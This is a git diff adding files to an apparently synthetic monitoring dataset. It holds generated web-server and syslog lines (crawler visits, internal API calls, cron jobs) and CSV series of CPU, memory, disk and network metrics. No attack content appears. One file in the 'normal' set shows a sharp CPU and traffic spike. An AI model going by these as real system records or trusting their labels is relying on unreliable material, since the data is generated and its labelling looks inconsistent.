14:04:10 web-app[2345]: 66.249.66.1 - "GET /about-us HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:11 web-app[2345]: 66.249.66.1 - "GET /products/4 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:12 web-app[2345]: 66.249.66.1 - "GET /products/18 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:13 web-app[2345]: 66.249.66.1 - "GET /articles/news-6 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:13 web-app[2345]: 66.249.66.1 - "GET /products/16 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:15 web-app[2345]: 66.249.66.1 - "GET /products/13 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:15 web-app[2345]: 66.249.66.1 - "GET /robots.txt HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:16 web-app[2345]: 66.249.66.1 - "GET /products/13 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:17 web-app[2345]: 66.249.66.1 - "GET /products/14 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:17 web-app[2345]: 66.249.66.1 - "GET /products/14 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:21 web-app[2345]: 66.249.66.1 - "GET /articles/news-9 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:22 web-app[2345]: 66.249.66.1 - "GET /products/5 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:22 web-app[2345]: 66.249.66.1 - "GET /sitemap.xml HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:23 web-app[2345]: 66.249.66.1 - "GET /products/18 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:24 web-app[2345]: 66.249.66.1 - "GET /products/16 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:25 web-app[2345]: 66.249.66.1 - "GET /products/3 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:25 web-app[2345]: 66.249.66.1 - "GET /products/9 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:27 web-app[2345]: 66.249.66.1 - "GET /products/2 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:28 web-app[2345]: 66.249.66.1 - "GET /articles/news-14 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:29 web-app[2345]: 66.249.66.1 - "GET /sitemap.xml HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:30 web-app[2345]: 66.249.66.1 - "GET /contact HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:33 web-app[2345]: 66.249.66.1 - "GET /articles/news-11 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:33 web-app[2345]: 66.249.66.1 - "GET /products/1 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:33 web-app[2345]: 66.249.66.1 - "GET /products/3 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:34 web-app[2345]: 66.249.66.1 - "GET /articles/news-3 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:36 web-app[2345]: 66.249.66.1 - "GET /articles/news-5 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:36 web-app[2345]: 66.249.66.1 - "GET /products/3 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:36 web-app[2345]: 66.249.66.1 - "GET /sitemap.xml HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:38 web-app[2345]: 66.249.66.1 - "GET /articles/news-7 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:38 web-app[2345]: 66.249.66.1 - "GET /products/7 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:41 web-app[2345]: 66.249.66.1 - "GET /articles/news-10 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:42 web-app[2345]: 66.249.66.1 - "GET /products/19 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:42 web-app[2345]: 66.249.66.1 - "GET /robots.txt HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:43 web-app[2345]: 66.249.66.1 - "GET /products/19 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:44 web-app[2345]: 66.249.66.1 - "GET /products/7 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:46 web-app[2345]: 66.249.66.1 - "GET /products/3 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:48 web-app[2345]: 66.249.66.1 - "GET /products/4 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:48 web-app[2345]: 66.249.66.1 - "GET /products/6 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:49 web-app[2345]: 66.249.66.1 - "GET /products/17 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:49 web-app[2345]: 66.249.66.1 - "GET /robots.txt HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:50 web-app[2345]: 66.249.66.1 - "GET /articles/news-11 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:50 web-app[2345]: 66.249.66.1 - "GET /products/11 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:52 web-app[2345]: 66.249.66.1 - "GET /articles/news-5 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:52 web-app[2345]: 66.249.66.1 - "GET /robots.txt HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:53 web-app[2345]: 66.249.66.1 - "GET /products/4 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:55 web-app[2345]: 66.249.66.1 - "GET /articles/news-13 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:55 web-app[2345]: 66.249.66.1 - "GET /articles/news-4 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:59 web-app[2345]: 66.249.66.1 - "GET /articles/news-9 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:59 web-app[2345]: 66.249.66.1 - "GET /sitemap.xml HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:00 web-app[2345]: 66.249.66.1 - "GET /products/15 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:00 web-app[2345]: 66.249.66.1 - "GET /robots.txt HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:01 web-app[2345]: 66.249.66.1 - "GET /articles/news-11 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:02 web-app[2345]: 66.249.66.1 - "GET /products/9 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:05 web-app[2345]: 66.249.66.1 - "GET /products/1 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:06 web-app[2345]: 66.249.66.1 - "GET /articles/news-13 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:06 web-app[2345]: 66.249.66.1 - "GET /products/7 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:08 web-app[2345]: 66.249.66.1 - "GET /articles/news-8 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:10 web-app[2345]: 66.249.66.1 - "GET /products/11 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:11 web-app[2345]: 66.249.66.1 - "GET /products/3 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:11 web-app[2345]: 66.249.66.1 - "GET /products/4 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:14 web-app[2345]: 66.249.66.1 - "GET /articles/news-2 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:15 web-app[2345]: 66.249.66.1 - "GET /products/11 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:18 web-app[2345]: 66.249.66.1 - "GET /articles/news-13 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:19 web-app[2345]: 66.249.66.1 - "GET /products/19 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:20 web-app[2345]: 66.249.66.1 - "GET /products/9 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:23 web-app[2345]: 66.249.66.1 - "GET /products/12 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:24 web-app[2345]: 66.249.66.1 - "GET /products/8 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:28 web-app[2345]: 66.249.66.1 - "GET /products/2 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:29 web-app[2345]: 66.249.66.1 - "GET /products/16 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:29 web-app[2345]: 66.249.66.1 - "GET /products/6 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:31 web-app[2345]: 66.249.66.1 - "GET /articles/news-4 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:32 web-app[2345]: 66.249.66.1 - "GET /products/14 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:37 web-app[2345]: 66.249.66.1 - "GET /articles/news-8 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:37 web-app[2345]: 66.249.66.1 - "GET /products/13 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:41 web-app[2345]: 66.249.66.1 - "GET /robots.txt HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:44 web-app[2345]: 66.249.66.1 - "GET /products/11 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:45 web-app[2345]: 66.249.66.1 - "GET /products/16 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:46 web-app[2345]: 66.249.66.1 - "GET /robots.txt HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:05:50 web-app[2345]: 192.168.1.10 - "GET /api/v1/user/12 status=200 OK" +Jul 03 14:06:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 14:06:15 web-app[2345]: 192.168.1.10 - "GET /api/v1/user/12 status=200 OK" +Jul 03 14:06:25 systemd[1]: Starting daily clean up activities... +Jul 03 14:06:40 web-app[2345]: 192.168.1.10 - "GET /api/v1/user/12 status=200 OK" +Jul 03 14:07:05 web-app[2345]: 192.168.1.10 - "GET /api/v1/user/12 status=200 OK" +Jul 03 14:07:20 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_8/norm_8_24.csv b/norm_dataset/scenario_8/norm_8_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..0bcfda141f6e229b9710d3ab2c9a4a97bb7903f2 --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,13.35,41.55,14.24,2.1,1.99 +2025-08-22T10:00:05Z,19.09,40.75,7.63,2.04,1.03 +2025-08-22T10:00:10Z,13.82,40.05,6.37,2.57,2.78 +2025-08-22T10:00:15Z,15.44,41.11,14.76,2.89,1.87 +2025-08-22T10:00:20Z,15.95,38.39,8.96,2.26,2.91 +2025-08-22T10:00:25Z,18.95,40.47,13.33,1.78,1.39 +2025-08-22T10:00:30Z,17.14,38.64,5.4,2.41,2.34 +2025-08-22T10:00:35Z,11.27,39.07,13.93,2.47,1.99 +2025-08-22T10:00:40Z,12.09,38.69,7.44,2.62,1.02 +2025-08-22T10:00:45Z,17.18,38.71,10.4,1.93,1.23 +2025-08-22T10:00:50Z,18.82,41.36,12.01,2.72,1.09 +2025-08-22T10:00:55Z,11.05,39.34,10.97,2.01,2.63 +2025-08-22T10:01:00Z,72.56,52.34,55.2,57.8,8.85 +2025-08-22T10:01:05Z,72.69,46.72,55.1,68.27,8.3 +2025-08-22T10:01:10Z,78.12,54.5,40.69,66.07,8.7 +2025-08-22T10:01:15Z,83.86,51.64,45.41,64.45,7.65 +2025-08-22T10:01:20Z,79.11,48.72,54.87,56.53,5.73 +2025-08-22T10:01:25Z,84.2,54.45,69.38,77.01,7.5 +2025-08-22T10:01:30Z,64.44,50.81,67.34,58.96,6.15 +2025-08-22T10:01:35Z,83.88,47.41,41.55,71.51,5.92 +2025-08-22T10:01:40Z,79.05,49.12,57.56,66.53,5.84 +2025-08-22T10:01:45Z,62.67,53.62,44.23,66.21,5.56 +2025-08-22T10:01:50Z,64.32,52.01,53.13,73.36,9.59 +2025-08-22T10:01:55Z,72.15,53.69,40.85,76.21,9.18 +2025-08-22T10:02:00Z,77.7,48.27,56.11,68.43,9.73 +2025-08-22T10:02:05Z,62.62,45.55,42.92,50.45,9.32 +2025-08-22T10:02:10Z,73.84,47.41,44.63,62.6,5.66 +2025-08-22T10:02:15Z,71.37,45.46,57.69,75.69,5.69 +2025-08-22T10:02:20Z,72.69,51.49,40.69,60.78,7.99 +2025-08-22T10:02:25Z,70.12,51.86,65.01,75.05,5.57 +2025-08-22T10:02:30Z,61.0,48.61,45.09,75.58,7.57 +2025-08-22T10:02:35Z,74.11,49.59,61.64,71.04,5.94 +2025-08-22T10:02:40Z,76.18,50.68,69.07,60.82,8.68 +2025-08-22T10:02:45Z,82.71,48.02,48.98,67.12,9.45 +2025-08-22T10:02:50Z,77.07,45.61,61.97,50.14,8.67 +2025-08-22T10:02:55Z,76.32,46.47,63.68,64.13,6.79 +2025-08-22T10:03:00Z,72.79,53.67,67.19,67.46,5.7 +2025-08-22T10:03:05Z,72.09,48.48,59.18,53.26,7.76 +2025-08-22T10:03:10Z,64.53,48.4,47.63,72.6,8.36 +2025-08-22T10:03:15Z,63.54,51.8,54.31,55.35,6.34 +2025-08-22T10:03:20Z,82.38,54.63,45.91,58.66,9.46 +2025-08-22T10:03:25Z,66.88,51.82,54.89,58.84,7.77 +2025-08-22T10:03:30Z,70.77,52.62,44.63,77.5,9.82 +2025-08-22T10:03:35Z,66.09,47.49,46.83,51.08,8.56 +2025-08-22T10:03:40Z,61.18,54.26,61.58,62.34,5.73 +2025-08-22T10:03:45Z,76.58,48.2,57.83,67.21,8.19 +2025-08-22T10:03:50Z,83.96,51.15,43.77,55.84,5.03 +2025-08-22T10:03:55Z,69.58,47.27,50.01,74.49,6.64 +2025-08-22T10:04:00Z,11.63,38.32,10.79,2.55,2.68 +2025-08-22T10:04:05Z,13.86,41.64,14.92,2.8,1.31 +2025-08-22T10:04:10Z,18.09,40.9,11.81,1.48,2.77 +2025-08-22T10:04:15Z,18.13,39.22,8.01,1.87,2.87 +2025-08-22T10:04:20Z,18.83,41.96,8.66,1.68,2.58 +2025-08-22T10:04:25Z,19.31,41.73,14.94,1.11,1.73 +2025-08-22T10:04:30Z,14.9,38.2,12.0,2.36,1.48 +2025-08-22T10:04:35Z,10.93,38.47,11.8,2.29,2.46 +2025-08-22T10:04:40Z,19.84,39.33,7.04,2.88,2.6 +2025-08-22T10:04:45Z,10.81,38.98,5.42,1.49,1.17 +2025-08-22T10:04:50Z,18.41,39.44,5.38,2.1,2.07 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(KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" diff --git a/norm_dataset/scenario_8/norm_8_25.csv b/norm_dataset/scenario_8/norm_8_25.csv new file mode 100644 index 0000000000000000000000000000000000000000..bff61b0ad6dba697f47165e6e898bf81597a7479 --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_25.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,14.195818928695616,45.28519600638796,25.86801963309985,1.237973917561872,1.017510467995573 +2025-07-02T12:00:05Z,11.386471827283259,46.88890490987688,29.688569252341388,1.5308047299801086,1.8858571956272354 +2025-07-02T12:00:10Z,11.840687297688284,41.798842434042996,26.159256686005314,1.6916899414593134,1.5607002056149217 +2025-07-02T12:00:15Z,15.00312919454795,44.73285512256708,29.94380516158246,1.0749901560981412,1.2520797069077028 +2025-07-02T12:00:20Z,12.581601258876052,46.26894927016453,26.437219298477988,1.2936111166995845,1.7091201684361255 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Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:03 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:00:03 +0000] "GET /about HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:07 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:00:07 +0000] "GET /about HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:08 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:00:08 +0000] "GET /contact HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:11 web-server[4321]: 10.0.0.54 - - [02/Jul/2025:12:00:11 +0000] "GET /about HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Jul 02 12:00:13 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:00:13 +0000] "GET /products/123 HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:16 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:00:16 +0000] "GET /products/123 HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:20 web-server[4321]: 10.0.0.54 - - [02/Jul/2025:12:00:20 +0000] "GET /about HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Jul 02 12:00:26 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:00:26 +0000] "GET /about HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:27 web-server[4321]: 10.0.0.54 - - [02/Jul/2025:12:00:27 +0000] "GET /contact HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:30 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:00:30 +0000] "GET /index.html HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:32 web-server[4321]: 10.0.0.54 - - [02/Jul/2025:12:00:32 +0000] "GET /about HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:32 web-server[4321]: 10.0.0.54 - - [02/Jul/2025:12:00:32 +0000] "GET /contact HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Jul 02 12:00:35 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:00:35 +0000] "GET /products/123 HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:36 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:00:36 +0000] "GET /contact HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:39 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:00:39 +0000] "GET /about HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:43 web-server[4321]: 10.0.0.54 - - [02/Jul/2025:12:00:43 +0000] "GET /index.html HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:43 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:00:43 +0000] "GET /products/123 HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:44 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:00:44 +0000] "GET /about HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:48 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:00:48 +0000] "GET /about HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Jul 02 12:00:49 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:00:49 +0000] "GET /products/123 HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:51 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:00:51 +0000] "GET /contact HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:56 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:00:56 +0000] "GET /index.html HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Jul 02 12:00:56 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:00:56 +0000] "GET /products/123 HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:59 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:00:59 +0000] "GET /index.html HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:00 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:01:00 +0000] "GET /about HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:01 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:01:01 +0000] "GET /index.html HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:05 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:01:05 +0000] "GET /products/123 HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:01:07 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:01:07 +0000] "GET /about HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:01:07 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:01:07 +0000] "GET /index.html HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:11 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:01:11 +0000] "GET /about HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:14 web-server[4321]: 10.0.0.54 - - [02/Jul/2025:12:01:14 +0000] "GET /about HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:18 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:01:18 +0000] "GET /index.html HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Jul 02 12:01:19 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:01:19 +0000] "GET /contact HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:20 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:01:20 +0000] "GET /index.html HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:01:22 web-server[4321]: 10.0.0.54 - - [02/Jul/2025:12:01:22 +0000] "GET /index.html HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Jul 02 12:01:26 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:01:26 +0000] "GET /index.html HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:01:27 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:01:27 +0000] "GET /contact HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:01:29 web-server[4321]: 